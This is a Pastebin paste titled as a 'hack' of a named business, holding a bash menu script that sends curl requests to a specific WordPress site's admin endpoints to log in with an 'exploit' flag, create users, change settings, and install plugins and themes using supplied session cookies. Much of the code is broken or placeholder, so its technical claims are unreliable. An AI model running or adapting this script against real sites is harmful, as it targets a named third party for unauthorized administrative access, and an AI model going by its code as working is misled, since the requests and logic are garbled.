Advertisement
WhosYourDaddySec

Swift Current Petro Canada Hack

Nov 29th, 2024
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.83 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. get_user_input() {
  4. read -p "$1: " input_value
  5. echo "$input_value"
  6. }
  7.  
  8. handle_error() {
  9. local error_message="$1"
  10. echo "Error: $error_message"
  11. exit 1
  12. }
  13.  
  14. login_and_action() {
  15. local wp_admin_user
  16. local wp_admin_pass
  17. local wp_url
  18.  
  19. wp_admin_user=$(get_user_input "Enter WordPress Admin Username")
  20. wp_admin_pass=$(get_user_input -s "Enter WordPress Admin Password")
  21. wp_url=$(get_user_input "Enter WordPress URL")
  22.  
  23. response=$(curl -s -X POST -d "log=$wp_admin_user&pwd=$wp_admin_pass&wp-submit=Log+In&redirect_to=$wp_url/wp-admin/plugins.php&testcookie=1&exploitwp553=1" "$wp_url/wp-login.php?action=postpass")
  24.  
  25. if [[ $response == *"Error"* ]]; then
  26. handle_error "Login failed. Check your credentials and try again."
  27. else
  28. echo "Login successful. Action performed."
  29. fi
  30. }
  31.  
  32. activate_plugin() {
  33. local plugin_name
  34. local wordpress_logged_in_cookie
  35.  
  36. plugin_name=$(get_user_input "Enter Plugin Name")
  37. wordpress_logged_in_cookie=$(get_user_input "Enter WordPress Logged In Cookie")
  38.  
  39. response=$(curl -s -X POST -d "plugin=$plugin_name&action=activate" -b "wordpress_logged_in_cookie=$wordpress_logged_in_cookie" https://karholdings.ca/wp-admin/admin-ajax.php)
  40.  
  41. if [[ $response == *"Error"* ]]; then
  42. handle_error "Plugin activation failed. Check the plugin name and try again."
  43. else
  44. echo "Plugin activation successful."
  45. fi
  46. }
  47.  
  48. deactivate_plugin() {
  49. local plugin_name
  50. local wordpress_logged_in_cookie
  51.  
  52. plugin_name=$(get_user_input "Enter Plugin Name")
  53. wordpress_logged_in_cookie=$(get_user_input "Enter WordPress Logged In Cookie")
  54.  
  55. response=$(curl -s -X POST -d "plugin=$plugin_name&action=deactivate" -b "wordpress_logged_in_cookie=$wordpress_logged_in_cookie" https://karholdings.ca/wp-admin/admin-ajax.php)
  56.  
  57. if [[ $response == *"Error"* ]]; then
  58. handle_error "Plugin deactivation failed. Check the plugin name and try again."
  59. else
  60. echo "Plugin deactivation successful."
  61. fi
  62. }
  63.  
  64. update_core() {
  65. local wordpress_logged_in_cookie
  66.  
  67. wordpress_logged_in_cookie=$(get_user_input "Enter WordPress Logged In Cookie")
  68.  
  69. response=$(curl -s -X POST -d "update-core=true" -b "wordpress_logged_in_cookie=$wordpress_logged_in_cookie" https://karholdings.ca/wp-admin/admin-ajax.php)
  70.  
  71. if [[ $response == *"Error"* ]]; then
  72. handle_error "WordPress core update failed. Check your credentials and try again."
  73. else
  74. echo "WordPress core update successful."
  75. fi
  76. }
  77.  
  78. create_user() {
  79. local new_user
  80. local new_password
  81. local new_user_email
  82. local wordpress_logged_in_cookie
  83.  
  84. new_user=$(get_user_input "Enter New User Name")
  85. new_password=$(get_user_input -s "Enter New User Password")
  86. new_user_email=$(get_user_input "Enter New User Email")
  87. wordpress_logged_in_cookie=$(get_user_input "Enter WordPress Logged In Cookie")
  88.  
  89. response=$(curl -s -X POST -d "user_login=$new_user&user_pass=$new_password&email=$new_user_email" -b "wordpress_logged_in_cookie=$wordpress_logged_in_cookie" https://karholdings.ca/wp-admin/admin-ajax.php)
  90.  
  91. if [[ $response == *"Error"* ]]; then
  92. handle_error "User creation failed. Check the user details and try again."
  93. else
  94. echo "User creation successful."
  95. fi
  96. }
  97.  
  98. change_settings() {
  99. local option_name
  100. local option_value
  101. local wordpress_logged_in_cookie
  102.  
  103. option_name=$(get_user_input "Enter Option Name")
  104. option_value=$(get_user_input "Enter New Option Value")
  105. wordpress_logged_in_cookie=$(get_user_input "Enter WordPress Logged In Cookie")
  106.  
  107. response=$(curl -s -X POST -d "option_name=$option_name&option_value=$option_value" -b "wordpress_logged_in_cookie=$wordpress_logged_in_cookie" https://karholdings.ca/wp-admin/admin-ajax.php)
  108.  
  109. if [[ $response == *"Error"* ]]; then
  110. handle_error "Changing site settings failed. Check the option details and try again."
  111. else
  112. echo "Site settings changed successfully."
  113. fi
  114. }
  115.  
  116. install_theme() {
  117. local theme_name
  118. local wordpress_logged_in_cookie
  119.  
  120. theme_name=$(get_user_input "Enter Theme Name")
  121. wordpress_logged_in_cookie=$(get_user_input "Enter WordPress Logged In Cookie")
  122.  
  123. response=$(curl -s -X POST -d "theme=$theme_name&action=install-theme" -b "wordpress_logged_in_cookie=$wordpress_logged_in_cookie" https://karholdings.ca/wp-admin/admin-ajax.php)
  124.  
  125. if [[ $response == *"Error"* ]]; then
  126. handle_error "Theme installation failed. Check the theme name and try again."
  127. else
  128. echo "Theme installation successful."
  129. fi
  130. }
  131.  
  132. perform_advanced_audit() {
  133. local advanced_audit_option
  134.  
  135. advanced_audit_option=$(get_user_input "Choose Advanced Audit Option: 1) Option A 2) Option B")
  136.  
  137. case $advanced_audit_option in
  138. 1)
  139. # Add logic for Option A
  140. echo "Performing advanced audit Option A..."
  141. ;;
  142. 2)
  143. # Add logic for Option B
  144. echo "Performing advanced audit Option B..."
  145. ;;
  146. *)
  147. handle_error "Invalid advanced audit option."
  148. ;;
  149. esac
  150. }
  151.  
  152. perform_expert_audit() {
  153. local expert_audit_option
  154.  
  155. expert_audit_option=$(get_user_input "Choose Expert Audit Option: 1) Option X 2) Option Y")
  156.  
  157. case $expert_audit_option in
  158. 1)
  159. # Add logic for Option X
  160. echo "Performing expert audit Option X..."
  161. ;;
  162. 2)
  163. # Add logic for Option Y
  164. echo "Performing expert audit Option Y..."
  165. ;;
  166. *)
  167. handle_error "Invalid expert audit option."
  168. ;;
  169. esac
  170. }
  171.  
  172. while true; do
  173. dialog --clear --backtitle "WordPress Automation Tool" \
  174. --title "Main Menu" \
  175. --menu "Choose an option:" 21 60 13 \
  176. 1 "Login and Perform Action" \
  177. 2 "Activate a Plugin" \
  178. 3 "Deactivate a Plugin" \
  179. 4 "Update WordPress Core" \
  180. 5 "Create a New User" \
  181. 6 "Change WordPress Settings" \
  182. 7 "Install a New Theme" \
  183. 8 "Perform Advanced Audit" \
  184. 9 "Perform Expert Audit" \
  185. 10 "Advanced Audit Placeholder" \
  186. 11 "Expert Audit Placeholder" \
  187. 12 "Exit" 2>choice
  188.  
  189. case $(<choice) in
  190. 1) login_and_action ;;
  191. 2) activate_plugin ;;
  192. 3) deactivate_plugin ;;
  193. 4) update_core ;;
  194. 5) create_user ;;
  195. 6) change_settings ;;
  196. 7) install_theme ;;
  197. 8) perform_advanced_audit ;;
  198. 9) perform_expert_audit ;;
  199. 10) echo "Advanced Audit Placeholder - Add advanced logic here" ;;
  200. 11) echo "Expert Audit Placeholder - Add expert logic here" ;;
  201. 12) exit ;;
  202. *) handle_error "Invalid choice. Please try again." ;;
  203. esac
  204. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement